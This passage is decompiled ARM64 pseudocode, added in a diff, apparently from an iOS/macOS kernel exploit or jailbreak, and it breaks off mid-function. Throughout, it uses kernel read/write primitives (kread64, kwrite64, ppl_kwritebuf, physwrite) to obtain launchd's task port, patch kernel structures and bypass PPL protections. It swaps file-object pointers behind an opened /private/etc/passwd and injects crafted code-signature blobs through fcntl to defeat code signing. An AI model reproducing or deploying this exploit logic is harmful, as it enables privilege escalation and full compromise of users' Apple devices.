v221 = 0u; + v218 = 0u; + v219 = 0u; + v216 = 0u; + v217 = 0u; + if ( !(unsigned int)kwritebuf_last_1(v2, v209, (__int64)&v216, v156) ) + goto LABEL_467; + sub_2183C(v2, (v209 + 0x10) & ~*(_QWORD *)(v2 + 0x188), (__int64)__src); + if ( v107 ) + { + v162 = physwrite_maybe(v2, v180 & 0xFFFFFFFFC000LL, (__int64)&v181); + if ( v162 ) + goto LABEL_442; + LOWORD(name[0]) = 0; + *((_QWORD *)&v175 + 1) = v181 + ((v209 + 0x10) & *(_QWORD *)(v2 + 0x188)); + v108 = (void *(__cdecl *)(void *))nullsub_1(sub_322A4); + v109 = pthread_create_suspended_np(&v210, 0LL, v108, name); + if ( v109 ) + { + if ( v109 >= 0 ) + v110 = v109; + else + v110 = -v109; +LABEL_440: + v115 = v110 | 0x40000000; + goto LABEL_441; + } + target_actb = pthread_mach_thread_np(v210); + if ( sub_2515C(target_actb) ) + { + v162 = sub_37A50((int *)v2, target_actb, 0, 1, 0x60); + if ( v162 ) + goto LABEL_442; + goto LABEL_423; + } +LABEL_430: + v115 = 0x28038; + goto LABEL_441; + } + v115 = 0x28026; +LABEL_441: + v162 = v115; + goto LABEL_442; + } + v62 = *(_QWORD *)(v2 + 0x238); + v33 = v160; + if ( !v62 ) + { + v154 = v52; + name[0] = 0; + if ( !krw_task_for_pid(v2, 1, name) ) + { + v64 = 0x28003; + goto LABEL_254; + } + *(_QWORD *)&v216 = 0LL; + if ( (unsigned int)sub_2E4E0((_DWORD *)v2, name[0], (unsigned __int64 *)&v216) != 1 + || (v75 = sub_2B94C(v2, name[0], (__int64 *)&v216, 0, 0LL)) == 0 ) + { + mach_port_deallocate(mach_task_self_, name[0]); + v162 = 0x28003; + v33 = v160; + goto LABEL_446; + } + v76 = v75; + *(_QWORD *)(v2 + 0x238) = v75; + mach_port_deallocate(mach_task_self_, name[0]); + v62 = v76; + v33 = v160; + LOBYTE(v52) = v154; + } + v210 = 0LL; + *(_QWORD *)&v177 = 0LL; + v175 = 0u; + v176 = 0u; + *(_OWORD *)name = 0u; + v184 = 0LL; + v183 = 0u; + v182 = 0u; + v181 = 0u; + *(_QWORD *)&v220 = 0LL; + v218 = 0u; + v219 = 0u; + v216 = 0u; + v217 = 0u; + v63 = *(_DWORD *)(v2 + 0x140); + if ( v63 != 0x1F53 && v63 != 0x1C1B ) + { + v64 = 0x2802C; + goto LABEL_254; + } + if ( *(_QWORD *)(v2 + 0x158) > 0x1F52FFFFFFFFFFuLL ) + { + v64 = 0xAD008; +LABEL_254: + v162 = v64; + goto LABEL_446; + } + v144 = v62; + v155 = v52; + v80 = sub_320EC(v2); + v162 = 0x28012; + if ( !v80 ) + goto LABEL_363; + v81 = v80; + if ( *(_QWORD *)(v2 + 0x158) <= 0x1F52FFFFFFFFFFuLL ) + { + v81 = sub_402CC(v2, v80); + if ( !v81 ) + goto LABEL_363; + } + v82 = 1LL; + do + { + v83 = v82; + v82 *= 2LL; + } + while ( ((unsigned int)v83 & v81) == 0 ); + v84 = mach_thread_self(); + v85 = port_name_to_kaddr(v2, v84); + if ( !v85 ) + { + v119 = 0x28025; +LABEL_362: + v162 = v119; + goto LABEL_363; + } + *(_QWORD *)target_act = v85 + 0x98; + sub_2183C(v2, (v85 + 0x98) & ~*(_QWORD *)(v2 + 0x188), (__int64)__src); + if ( !v86 ) + { +LABEL_361: + v119 = 0x28026; + goto LABEL_362; + } + v162 = physwrite_maybe(v2, v180 & 0xFFFFFFFFC000LL, (__int64)&v181); + if ( v162 ) + goto LABEL_363; + v148 = 0LL; + v150 = 0; + *((_QWORD *)&v220 + 1) = (*(_QWORD *)(v2 + 0x188) & *(_QWORD *)target_act) + v181; + v140 = v83 - 1; + while ( 1 ) + { + v87 = **((_QWORD **)&v220 + 1); + if ( !validate_addr(v2, **((_QWORD **)&v220 + 1)) || (*(_QWORD *)(v2 + 0x188) & v87) != 0 ) + { + v162 = 0x28026; + v88 = v148; + v89 = v150; + goto LABEL_223; + } + *(_QWORD *)(*((_QWORD *)&v220 + 1) + 8LL) = v87; + *(_QWORD *)target_acta = v87; + if ( v87 != v148 ) + { + if ( *(_QWORD *)name ) + sub_38BCC(v2, (__int64)name); + sub_2183C(v2, v87, (__int64)__src); + if ( !v91 ) + goto LABEL_361; + v162 = physwrite_maybe(v2, v180 & 0xFFFFFFFFC000LL, (__int64)name); + if ( v162 ) + goto LABEL_363; + } + LOWORD(v216) = 0; + *(_QWORD *)&v218 = v87; + *((_QWORD *)&v216 + 1) = *(_QWORD *)name; + *(_QWORD *)&v217 = v144; + BYTE8(v218) = v155; + *(_QWORD *)&v219 = v140; + DWORD2(v219) = *(_DWORD *)(v2 + 0x240); + v92 = (void *(__cdecl *)(void *))nullsub_1(sub_323C4); + v93 = pthread_create(&v210, 0LL, v92, &v216); + if ( v93 ) + { + if ( v93 >= 0 ) + v132 = v93; + else + v132 = -v93; + v119 = v132 | 0x40000000; + goto LABEL_362; + } + while ( !(_BYTE)v216 ) + ; + v94 = fcntl(v31, 0x3B, &v213); + BYTE1(v216) = 1; + if ( (v94 & 0x80000000) == 0 ) + break; + v95 = *__error(); + v96 = *__error(); + if ( v95 >= 0 ) + v97 = v96; + else + v97 = -v96; + if ( v150 && !(v150 % 5) ) + sub_2AABC(v2, 0x3E8u); + if ( v150 <= 3 ) + { + v90 = v150 + 1; + v88 = *(_QWORD *)target_acta; + goto LABEL_224; + } + v162 = v97 | 0x40000000; + *(_DWORD *)(v2 + 0x240) = 0; + v89 = v150; + v88 = *(_QWORD *)target_acta; +LABEL_223: + v90 = v89 + 1; + if ( v90 == 0x80 ) + goto LABEL_363; +LABEL_224: + v150 = v90; + v148 = v88; + if ( v210 ) + { + pthread_join(v210, 0LL); + v210 = 0LL; + } + } + v162 = 0; + if ( HIDWORD(v219) ) + *(_DWORD *)(v2 + 0x240) = HIDWORD(v219); +LABEL_363: + if ( v210 ) + { + pthread_join(v210, 0LL); + v210 = 0LL; + } + v33 = v160; + if ( *(_QWORD *)name ) + sub_38BCC(v2, (__int64)name); + if ( (_QWORD)v181 ) + goto LABEL_445; +LABEL_446: + if ( !v158 ) + { + if ( v162 ) + goto LABEL_451; + goto LABEL_59; + } + v120 = 5; + if ( (unsigned int)sub_32064((_DWORD *)v2, *((_QWORD *)v3 + 4), v164, (__int64)&v171, 1LL) && !v162 ) + { +LABEL_59: + v204 = v170; + if ( !(unsigned int)sub_2E5C0(v2, v3[0x11], (__int64 *)&v204, 1u, (__int64)&v195) ) + goto LABEL_451; + if ( v166 < 0 ) + { + if ( v195 != *v3 ) + { + v39 = 0x10LL; + if ( *(_QWORD *)(v2 + 0x158) > 0x1F530F027FFFFFuLL ) + v39 = 0x20LL; + if ( !(unsigned int)kwritebuf_universal((_QWORD *)v2, v39 + v196, (__int64)v3, 4LL) ) + goto LABEL_451; + } + v40 = v3[0x14]; + if ( (v201 == 0) == (v40 != 0) ) + { + v69 = v33; + v70 = *(_QWORD *)(v2 + 0x158); + v71 = 0x80LL; + if ( v70 > 0x1F530F027FFFFFLL ) + v71 = 0x88LL; + v168 = v71; + v72 = sub_2C9B0((__int64)&v195, v199, 0xFADE0C02); + if ( !v72 ) + goto LABEL_451; + if ( v40 ) + { + if ( bswap32(v72[2]) >> 9 < 0x101 ) + goto LABEL_451; + v73 = v72[0xC]; + if ( !v73 ) + goto LABEL_451; + v74 = v197 + v200 + bswap32(v73); + } + else + { + v74 = 0LL; + } + v5 = v70 > 0x1F530F027FFFFFLL; + v33 = v69; + if ( v5 || (*(_DWORD *)v2 & 0x5584001) == 0 || !v74 ) + { + sub_2A63C(v2, v196 + v168, v74); + if ( !v103 ) + goto LABEL_451; + } + } + v27 = v33 & 1; + v3 = &v195; + goto LABEL_88; + } + v27 = v33 & 1; + v3 = &v195; + v9 = v170; +LABEL_51: + v28 = (__int64)v205; + if ( (unsigned __int64)v205 > *((_QWORD *)v3 + 2) ) + goto LABEL_451; + v170 = v9; + v29 = krw_ctx_has_flag((_DWORD *)v2, 0x5184001); + v30 = *((_QWORD *)v3 + 3); + if ( v29 ) + { + if ( !(unsigned int)ppl_kwritebuf(v2, v30, (__int64)v207, v28) ) + goto LABEL_451; + } + else if ( !(unsigned int)kwritebuf_universal((_QWORD *)v2, v30, (__int64)v207, v28) ) + { + goto LABEL_451; + } +LABEL_88: + if ( v202 != v170 ) + { + if ( !(unsigned int)sub_2F898((_DWORD *)v2, v3[0x11], v202) ) + goto LABEL_451; + v202 = v170; + if ( !(unsigned int)kwritebuf_last_1(v2, v8, (__int64)&v202, 8LL) ) + goto LABEL_451; + v41 = *(_QWORD *)(v2 + 0x158); + if ( v41 < 0x1F530000000000LL || ((v27 ^ 1) & 1) != 0 ) + goto LABEL_90; + if ( !(unsigned int)sub_34D14(v2, v3[0x11]) ) + goto LABEL_451; + v45 = *(_QWORD *)(v2 + 0x158); + if ( (*(_DWORD *)v2 & 0x5584001) != 0 && v45 <= 0x1F530F027FFFFFLL ) + { + if ( !(unsigned int)sub_2F2C8() ) + goto LABEL_451; + } + else + { + v77 = 0xA8LL; + if ( v45 > 0x1F530F027FFFFFLL ) + v77 = 0xA0LL; + if ( !kread64((_DWORD *)v2, *((_QWORD *)v3 + 1) + v77, (__int64 *)&v216) ) + goto LABEL_451; + if ( *(_QWORD *)(v2 + 0x390) != (_QWORD)v216 ) + { + if ( (unsigned int)sub_38FD4(v2, v216) ) + goto LABEL_451; + sub_35AE0(v2, *(_DWORD *)(v2 + 0x378), v216); + if ( !v78 ) + goto LABEL_451; + if ( *(int *)(v2 + 0x140) >= 0x2712 ) + { + v79 = sub_340D8((_DWORD *)v2, v3[0x11], 0LL); + if ( !v79 || !(unsigned int)sub_35ECC(v2, v79, 0x10) ) + goto LABEL_451; + } + } + } + } + v41 = *(_QWORD *)(v2 + 0x158); +LABEL_90: + if ( v41 <= 0x1F52FFFFFFFFFFLL || (*(_DWORD *)v2 & 0x5184001) == 0 ) + goto LABEL_335; + v42 = v3[0x11]; + v43 = *((_QWORD *)v3 + 1); + *(_QWORD *)&v216 = v43; + *(_QWORD *)name = 0LL; + *(_QWORD *)&v181 = 0LL; + __src[0] = 0LL; + if ( v41 <= 0x1F530F027FFFFFLL ) + { + v44 = 0xC0LL; + } + else if ( *(int *)(v2 + 0x140) <= 0x2257 ) + { + v44 = 0xB0LL; + } + else + { + v44 = 0xB8LL; + } + if ( !kread64((_DWORD *)v2, v44 + v43, (__int64 *)&v181) ) + goto LABEL_451; + if ( !(_QWORD)v181 ) + goto LABEL_451; + if ( !validate_addr(v2, v181) ) + goto LABEL_451; + v65 = sub_349C8((_DWORD *)v2, v42); + if ( !v65 ) + goto LABEL_451; + v66 = v65; + if ( krw_ctx_has_flag((_DWORD *)v2, 0x20) ) + { + v210 = 0LL; + if ( !kread64((_DWORD *)v2, v66 + 0xB0, (__int64 *)&v210) + || !v210 + || !validate_addr(v2, (__int64)v210) + || !kread64((_DWORD *)v2, (unsigned __int64)&v210->__opaque[0x30], (__int64 *)name) ) + { + goto LABEL_451; + } + v67 = 0x20LL; + } + else + { + if ( krw_ctx_has_flag((_DWORD *)v2, 0x1180000) ) + { + v116 = 0x90LL; + } + else + { + if ( !krw_ctx_has_flag((_DWORD *)v2, 0x4001) ) + goto LABEL_451; + v116 = 0x88LL; + } + if ( !kread64((_DWORD *)v2, v116 + v66, (__int64 *)name) ) + goto LABEL_451; + v67 = 0x28LL; + } + if ( !*(_QWORD *)name + || !validate_addr(v2, *(__int64 *)name) + || !kread64((_DWORD *)v2, *(_QWORD *)name + v67, __src) + || !__src[0] + || !validate_addr(v2, __src[0]) ) + { + goto LABEL_451; + } + if ( __src[0] == (_QWORD)v181 ) + { +LABEL_335: + v120 = 0; + goto LABEL_452; + } + v211 = 0; + v206 = 0; + v203 = 0; + v209 = 0LL; + v210 = 0LL; + v194 = 0xFFFFFFFFLL; + v208 = 0LL; + if ( krw_ctx_has_flag((_DWORD *)v2, 0x20) ) + { + v124 = 0x14LL; + goto LABEL_373; + } + v133 = *(_DWORD *)(v2 + 0x140); + if ( v133 <= 0x2257 ) + { + v124 = 0xA0LL; + if ( (unsigned int)(v133 - 0x1F53) >= 2 && v133 != 0x1809 && v133 != 0x1C1B ) + goto LABEL_451; + goto LABEL_373; + } + if ( v133 == 0x2712 || v133 == 0x225C ) + { + v124 = 0x1F0LL; +LABEL_373: + if ( !(unsigned int)kreadbuf_last_1(v2, v181 + v124, 4LL, (__int64)&v194) ) + goto LABEL_451; + if ( (unsigned int)v194 > 0x400 ) + goto LABEL_451; + LODWORD(v194) = v194 + 1; + if ( !(unsigned int)ppl_kwritebuf(v2, v181 + v124, (__int64)&v194, 4) ) + goto LABEL_451; + sub_13D9C((_DWORD *)v2, *(_QWORD *)name + v67, v181); + if ( !v125 ) + goto LABEL_451; + if ( !krw_ctx_has_flag((_DWORD *)v2, 0x20) ) + { + __src[0] = v181; + v126 = sub_33E8C(v2, v42); + if ( !v126 ) + goto LABEL_451; + v127 = v126; + if ( !(unsigned int)sub_2BBA4(v2, (int *)&v211, (int *)&v206) ) + goto LABEL_451; + if ( !kread64((_DWORD *)v2, v127 + v211, (__int64 *)&v209) ) + goto LABEL_451; + if ( !v209 ) + goto LABEL_451; + if ( !(unsigned int)kreadbuf_last_1(v2, v127 + v206, 8LL, (__int64)&v210) ) + goto LABEL_451; + if ( !(unsigned int)sub_2BC80(v2, &v203, (_DWORD *)&v194 + 1) ) + goto LABEL_451; + if ( !kread64((_DWORD *)v2, v209 + (unsigned int)v203, &v208) ) + goto LABEL_451; + if ( !v208 ) + goto LABEL_451; + if ( !kread64((_DWORD *)v2, v208 + HIDWORD(v194), (__int64 *)&v216) ) + goto LABEL_451; + v128 = v216; + if ( !(_QWORD)v216 ) + goto LABEL_451; + while ( kread64((_DWORD *)v2, v128 + v44, (__int64 *)&v181) && (_QWORD)v181 && validate_addr(v2, v181) ) + { + if ( (_QWORD)v181 == __src[0] ) + { + v186 = 0; + if ( *(_QWORD *)(v2 + 0x158) <= 0x1F52FFFFFFFFFFuLL || (*(_DWORD *)v2 & 0x5184001) == 0 ) + break; + v129 = *(int *)(v2 + 0x140) <= 0x2257 ? 0x50LL : 0x190LL; + v130 = v129 + v181; + if ( !(unsigned int)kreadbuf_last_1(v2, v129 + v181, 1LL, (__int64)&v185) + || v185 > 1u + || v185 && !(unsigned int)ppl_kwritebuf(v2, v130, (__int64)&v186, 1) ) + { + break; + } + } + v131 = kread64((_DWORD *)v2, v216, (__int64 *)&v216); + v128 = v216; + if ( !v131 || !(_QWORD)v216 ) + goto LABEL_470; + } + v128 = v216; +LABEL_470: + if ( v128 ) + goto LABEL_451; + } + goto LABEL_335; + } + if ( v133 == 0x2258 ) + { + v124 = 0x1E0LL; + goto LABEL_373; + } +LABEL_451: + v120 = 5; + } +LABEL_452: + if ( v198 != 0xFFFFFFFF ) + sub_2CB54((__int64)&v195); + v139 = v193; + if ( v193 != 0xFFFFFFFF ) + { + if ( v188 && v189 && !kwrite64(v2, v188, v189) ) + v120 = 5; + close(v139); + } + if ( v207 ) + free(v207); + v123 = v120 == 0; +LABEL_463: + v12 = v123; +LABEL_466: + *(_DWORD *)(a1 + 0x10) = v12; +} +// 30824: variable 'v78' is possibly undefined +// 308F8: variable 'v86' is possibly undefined +// 309E8: variable 'v91' is possibly undefined +// 30D14: variable 'v103' is possibly undefined +// 30EC8: variable 'v107' is possibly undefined +// 31428: variable 'v125' is possibly undefined +// 316C0: variable 'v134' is possibly undefined +// 317C0: variable 'v137' is possibly undefined +// 19728: using guessed type __int64 __fastcall nullsub_1(_QWORD); + +//----- (0000000000031914) ---------------------------------------------------- +_DWORD *__fastcall sub_31914(__int64 a1, _QWORD *a2, size_t *a3, unsigned int *a4, unsigned int *a5, unsigned int *a6) +{ + int v10; // w8 + unsigned int *v11; // x9 + __int64 v12; // x8 + unsigned int v13; // w28 + __int64 v14; // x11 + __int64 v15; // x12 + int v16; // w13 + __int64 v18; // x10 + int v19; // w9 + __int64 v20; // x11 + bool v21; // zf + unsigned int v22; // w12 + unsigned int v23; // w8 + int v24; // w25 + _DWORD *result; // x0 + unsigned int v26; // w10 + bool v27; // cf + bool v28; // cc + int v29; // w8 + int v30; // w8 + int v31; // w10 + size_t v32; // x21 + _DWORD *v33; // x26 + unsigned int *v34; // x20 + unsigned int v35; // w8 + __int64 v36; // x21 + unsigned __int64 v37; // x22 + __int64 v38; // x8 + _DWORD *v39; // x19 + unsigned int v40; // w25 + int v41; // w9 + unsigned int *v42; // x10 + __int64 v43; // x8 + unsigned int *v44; // x1 + size_t v45; // x27 + bool v46; // zf + int v47; // w9 + size_t v48; // [xsp+8h] [xbp-78h] + _QWORD *v49; // [xsp+10h] [xbp-70h] + size_t *v50; // [xsp+18h] [xbp-68h] + + v10 = *(_DWORD *)(a1 + 0x30); + if ( v10 ) + { + if ( v10 != 1 ) + return 0LL; + v11 = *(unsigned int **)(a1 + 0x38); + v12 = *v11; + if ( (_DWORD)v12 ) + { + v13 = 0; + v14 = *((_QWORD *)v11 + 1) + 8LL; + v15 = *v11; + do + { + if ( *(_DWORD *)(v14 - 8) == *(_DWORD *)(a1 + 0x40) ) + { + v16 = *(_DWORD *)(*(_QWORD *)v14 + 0x28LL); + if ( (v16 & 0x3FFF) == 0 && v16 != 0 ) + v13 = *(_DWORD *)(*(_QWORD *)v14 + 0x28LL); + } + v14 += 0x10LL; + --v15; + } + while ( v15 ); + v18 = *((_QWORD *)v11 + 1) + 8LL; + v19 = 0xC; + v20 = v12; + do + { + v21 = *(_DWORD *)(v18 - 8) != 5 || v13 == 0; + v22 = v13; + if ( v21 ) + v22 = bswap32(*(_DWORD *)(*(_QWORD *)v18 + 4LL)); + v19 += 8 + v22; + v18 += 0x10LL; + --v20; + } + while ( v20 ); + } + else + { + v13 = 0; + v19 = 0xC; + } + v26 = *(_DWORD *)(a1 + 0x5C); + v27 = v26 >= (unsigned int)v12; + v29 = v26 - v12; + v28 = v29 != 0 && v27; + v30 = 8 * v29; + if ( v28 ) + v31 = v30; + else + v31 = 0; + v23 = v31 + v19; + v24 = v31 + 0xC; + } + else + { + v13 = 0; + v23 = bswap32(*(_DWORD *)(*(_QWORD *)(a1 + 0x38) + 4LL)); + v24 = 0xC; + } + v32 = v23; + result = malloc(v23); + if ( result ) + { + v33 = result; + bzero(result, v32); + if ( *(_DWORD *)(a1 + 0x30) == 1 ) + { + v49 = a2; + v50 = a3; + v34 = *(unsigned int **)(a1 + 0x38); + *v33 = 0xC00CDEFA; + v35 = bswap32(*v34); + v48 = v32; + v33[1] = bswap32(v32); + v33[2] = v35; + if ( *v34 ) + { + v36 = 0LL; + v37 = 0LL; + v38 = *((_QWORD *)v34 + 1); + v39 = v33 + 4; + v40 = v24 + 8 * *v34; + while ( 1 ) + { + v41 = *(_DWORD *)(v38 + v36); + if ( v41 == *(_DWORD *)(a1 + 0x40) ) + { + *a4 = v40; + v41 = *(_DWORD *)(v38 + v36); + } + v42 = a5; + if ( v41 == 5 ) + goto LABEL_37; + if ( v41 == 7 ) + break; +LABEL_38: + v43 = v38 + v36; + v39[0xFFFFFFFF] = bswap32(*(_DWORD *)v43); + *v39 = bswap32(v40); + v44 = *(unsigned int **)(v43 + 8); + v45 = bswap32(v44[1]); + memcpy((char *)v33 + v40, v44, v45); + v38 = *((_QWORD *)v34 + 1); + if ( v13 ) + v46 = *(_DWORD *)(v38 + v36) == 5; + else + v46 = 0; + if ( v46 ) + v47 = v13; + else + v47 = v45; + v40 += v47; + ++v37; + v36 += 0x10LL; + v39 += 2; + if ( v37 >= *v34 ) + goto LABEL_45; + } + v42 = a6; +LABEL_37: + *v42 = v40; + goto LABEL_38; + } +LABEL_45: + *v49 = v33; + *v50 = v48; + return &def_3E8F0 + 1; + } + else + { + memcpy(v33, *(const void **)(a1 + 0x38), bswap32(*(_DWORD *)(*(_QWORD *)(a1 + 0x38) + 4LL))); + *a2 = v33; + *a3 = v32; + result = &def_3E8F0 + 1; + *a4 = 0; + } + } + return result; +} +// 0: using guessed type int def_3E8F0; + +//----- (0000000000031B90) ---------------------------------------------------- +__int64 __fastcall sub_31B90(__int64 a1, __int64 a2, mach_vm_address_t *a3, _QWORD *a4, int *a5) +{ + __int64 v10; // x25 + __int64 v11; // x23 + int v12; // w8 + __int64 v13; // x26 + bool v15; // zf + __int64 v16; // x24 + int v17; // w8 + int v19; // w22 + int v21; // w0 + int v22; // w23 + unsigned __int64 v23; // x0 + mach_vm_address_t v24; // x25 + int v25; // w23 + int v27; // [xsp+8h] [xbp-68h] BYREF + int v28; // [xsp+Ch] [xbp-64h] BYREF + int v29; // [xsp+10h] [xbp-60h] BYREF + unsigned int v30; // [xsp+14h] [xbp-5Ch] BYREF + __int64 v31; // [xsp+18h] [xbp-58h] BYREF + mach_port_name_t name[2]; // [xsp+20h] [xbp-50h] BYREF + __int64 v33; // [xsp+28h] [xbp-48h] BYREF + + if ( *(_QWORD *)(a1 + 0x158) < 0x1F530F02800000uLL ) + { + v11 = 0LL; + v33 = 0LL; + name[0] = 0; + v17 = *(_DWORD *)(a1 + 0x140); + if ( v17 <= 0x1F52 ) + { + if ( v17 != 0x1809 && v17 != 0x1C1B ) + return v11; + } + else if ( (unsigned int)(v17 - 0x1F53) >= 2 && v17 != 0x2258 ) + { + return v11; + } + v21 = open("/dev/null", 0); + if ( (v21 & 0x80000000) == 0 ) + { + v22 = v21; + if ( !(unsigned int)j__fileport_makeport() ) + { + v23 = port_name_to_kaddr(a1, name[0]); + if ( v23 ) + { + v24 = v23 + 0x38; + if ( kread64((_DWORD *)a1, v23 + 0x38, &v33) && kwrite64(a1, v24, a2) ) + { + *a5 = v22; + *a3 = v24; + *a4 = v33; + mach_port_destroy(mach_task_self_, name[0]); + return 1LL; + } + } + mach_port_destroy(mach_task_self_, name[0]); + } + close(v22); + } + return 0LL; + } + v10 = 0LL; + v11 = 0LL; + *a3 = 0LL; + *a4 = 0LL; + *(_QWORD *)name = 0LL; + v33 = 0LL; + v31 = 0LL; + v29 = 0xFFFFFFFF; + v30 = 0xFFFFFFFF; + v27 = 0xFFFFFFFF; + v28 = 0xFFFFFFFF; + v12 = *(_DWORD *)(a1 + 0x140); + v13 = 0x48LL; + if ( v12 > 0x2257 ) + { + v16 = 0LL; + if ( v12 != 0x2258 ) + { + if ( v12 != 0x2712 && v12 != 0x225C ) + return v11; + v16 = 0x74LL; + v10 = 0x40LL; + v13 = 0x50LL; + } + } + else + { + v15 = (unsigned int)(v12 - 0x1F53) < 2 || v12 == 0x1809 || v12 == 0x1C1B; + v16 = 0LL; + if ( !v15 ) + return v11; + } + v19 = open("/private/etc/passwd", 0); + if ( v19 < 0 ) + { +LABEL_27: + v11 = 0LL; + if ( v19 == 0xFFFFFFFF ) + return v11; + } + else + { + while ( !(unsigned int)sub_35938((_DWORD *)a1, v19, &v33) && kread32_outptr(a1, v33 + 0x54, &v30) ) + { + if ( (v30 & 0x4000) != 0 ) + { + if ( kread64((_DWORD *)a1, v33 + 0x40, &v31) + && validate_addr(a1, v31) + && kread64((_DWORD *)a1, v31 + v13, (__int64 *)name) + && validate_addr(a1, *(__int64 *)name) + && (*(int *)(a1 + 0x140) < 0x225C + || kread32_outptr(a1, v33 + v16, &v28) + && kread32_outptr(a1, v31 + v10, &v27) + && kread32_outptr(a1, v16 + a2, &v29) + && noppl_kwrite32(a1, v31 + v10, v29) + && noppl_kwrite32(a1, v33 + v16, v29)) + && kwrite64(a1, v31 + v13, a2) ) + { + v25 = open("/private/etc/passwd", 0); + if ( kwrite64(a1, v31 + v13, *(__int64 *)name) + && (*(int *)(a1 + 0x140) < 0x225C || noppl_kwrite32(a1, v33 + v16, v28) + && noppl_kwrite32(a1, v31 + v10, v27)) + && (v25 & 0x80000000) == 0 ) + { + if ( !(unsigned int)sub_35938((_DWORD *)a1, v25, &v33) && v33 == a2 ) + { + *a5 = v25; + v11 = 1LL; + goto LABEL_65; + } + } + else if ( v25 == 0xFFFFFFFF ) + { + break; + } + close(v25); + } + break; + } + if ( !noppl_kwrite32(a1, v33 + 0x54, v30 | 0x4000) ) + break; + close(v19); + v19 = open("/private/etc/passwd", 0); + if ( v19 < 0 ) + goto LABEL_27; + } + v11 = 0LL; + } +LABEL_65: + close(v19); + return v11; +} + +//----- (0000000000031FC0) ---------------------------------------------------- +__int64 __fastcall sub_31FC0(__int64 a1, void *a2) +{ + __int64 result; // x0 + unsigned int __n; // [xsp+4h] [xbp-4Ch] BYREF + _BYTE __n_4[48]; // [xsp+8h] [xbp-48h] BYREF + + result = (__int64)sub_2C9B0(a1, *(_DWORD *)(a1 + 0x40), 0xFADE0C02); + if ( result ) + { + __n = 0x30; + result = sub_2BCF0( + *(unsigned __int8 *)(result + 0x25), + (const void *)result, + bswap32(*(_DWORD *)(result + 4)), + __n_4, + &__n); + if ( (_DWORD)result ) + { + memcpy(a2, __n_4, __n); + return 1LL; + } + } + return result; +} + +//----- (0000000000032064) ---------------------------------------------------- +__int64 __fastcall sub_32064(_DWORD *a1, unsigned __int64 a2, unsigned int a3, __int64 a4, __int64 a5) +{ + __int64 result; // x0 + unsigned __int64 v10; // x8 + unsigned __int64 v11; // [xsp+8h] [xbp-28h] BYREF + + result = kread64(a1, a2, (__int64 *)&v11); + if ( (_DWORD)result ) + { + v10 = v11; + while ( 1 ) + { + result = kwritebuf_universal(a1, v10 + a3, a4, a5); + if ( !(_DWORD)result ) + break; + result = kread64(a1, v11, (__int64 *)&v11); + if ( !(_DWORD)result ) + break; + v10 = v11; + if ( !v11 ) + return 1LL; + } + } + return result; +} + +//----- (00000000000320EC) ---------------------------------------------------- +__int64 __fastcall sub_320EC(__int64 a1) +{ + _BOOL4 has_flag; // w0 + int v3; // w8 + unsigned int v4; // w10 + unsigned int v6; // w10 + unsigned int v7; // w11 + unsigned int v8; // w11 + unsigned int v9; // w10 + + has_flag = krw_ctx_has_flag((_DWORD *)a1, 0x5184001); + v3 = *(_DWORD *)(a1 + 0x140); + if ( (unsigned int)(v3 - 0x1F53) < 2 ) + { + if ( has_flag ) + v6 = 0xD8; + else + v6 = 0xD0; + if ( has_flag ) + v7 = 0xC8; + else + v7 = 0xC0; + if ( *(_QWORD *)(a1 + 0x158) >= 0x1F530F02800000uLL ) + return v7; + else + return v6; + } + else if ( v3 == 0x1C1B ) + { + if ( has_flag ) + v8 = 0xB0; + else + v8 = 0xA8; + if ( has_flag ) + v9 = 0xB8; + else + v9 = 0xB0; + if ( *(_QWORD *)(a1 + 0x158) >= 0x1C1B1914600000uLL ) + return v9; + else + return v8; + } + else + { + if ( has_flag ) + v4 = 0xB8; + else + v4 = 0xB0; + if ( v3 == 0x1809 ) + return v4; + else + return 0LL; + } +} + +//----- (00000000000321C0) ---------------------------------------------------- +__int64 __fastcall sub_321C0(__int64 a1) +{ + int v1; // w0 + int v2; // w19 + __int64 v3; // x20 + int v4; // w19 + int v5; // w8 + int v7; // [xsp+Ch] [xbp-54h] BYREF + _QWORD v8[7]; // [xsp+10h] [xbp-50h] BYREF + + v7 = 0; + v8[0] = (unsigned int)(0x20000000 - *(_DWORD *)(a1 + 0x180)); + v8[1] = &v7; + v8[2] = 4LL; + v1 = open("/usr/lib/dyld", 0); + if ( v1 < 0 ) + { + v4 = *__error(); + v5 = *__error(); + if ( v4 < 0 ) + v5 = -v5; + return v5 | 0x40000000u; + } + else + { + v2 = v1; + if ( fcntl(v1, 0x3B, v8) && *__error() == 0x55 ) + v3 = 0LL; + else + v3 = 0x1001LL; + close(v2); + } + return v3; +} + +//----- (00000000000322A4) ---------------------------------------------------- +__int64 __fastcall sub_322A4(__int64 a1) +{ + _DWORD *v1; // x8 + + v1 = *(_DWORD **)(a1 + 0x18); + *(_BYTE *)a1 = 1; + while ( (*v1 & 0x4000000) == 0 ) + { + if ( *(_BYTE *)(a1 + 1) ) + return 0LL; + } + *v1 &= ~0x4000000u; + __dsb(0xBu); + return 0LL; +} + +//----- (00000000000322D8) ---------------------------------------------------- +__int64 __fastcall sub_322D8(__int64 a1, int *a2) +{ + int v2; // w8 + __int64 v4; // [xsp+10h] [xbp-B0h] BYREF + __int128 v5; // [xsp+18h] [xbp-A8h] + __int64 v6; // [xsp+28h] [xbp-98h] + __int64 v7; // [xsp+30h] [xbp-90h] + __int128 v8; // [xsp+38h] [xbp-88h] + __int128 v9; // [xsp+48h] [xbp-78h] + __int128 v10; // [xsp+58h] [xbp-68h] + __int128 v11; // [xsp+68h] [xbp-58h] + __int64 v12; // [xsp+78h] [xbp-48h] + _QWORD v13[7]; // [xsp+80h] [xbp-40h] BYREF + + v2 = *a2; + v7 = 0x22000000000LL; + v12 = 0LL; + v11 = 0u; + v10 = 0u; + v9 = 0u; + v8 = 0u; + v4 = 0x70000000020CDEFALL; + v5 = 0x20200uLL; + HIBYTE(v7) = vm_page_shift; + v6 = 0LL; + v13[0] = (unsigned int)(0x20000000 - *(_DWORD *)(a1 + 0x180)); + v13[1] = &v4; + v13[2] = 0x70LL; + if ( fcntl(v2, 0x3B, v13) && *__error() == 1 ) + __error(); + return 0LL; +} + +//----- (00000000000323C4) ---------------------------------------------------- +__int64 __fastcall sub_323C4(__int64 a1) +{ + __int64 v2; // x20 + unsigned __int64 v3; // x21 + __int64 v4; // x22 + _QWORD *v5; // x23 + thread_act_t v6; // w0 + unsigned int v7; // w10 + unsigned int v8; // w9 + unsigned int v9; // w15 + _QWORD *v10; // x16 + bool v11; // zf + unsigned __int64 v12; // x17 + bool v13; // cf + __int64 v15; // x17 + __int64 v17; // x17 + int v18; // w16 + + v2 = *(_QWORD *)(a1 + 8); + v3 = *(_QWORD *)(a1 + 0x20); + v4 = *(_QWORD *)(a1 + 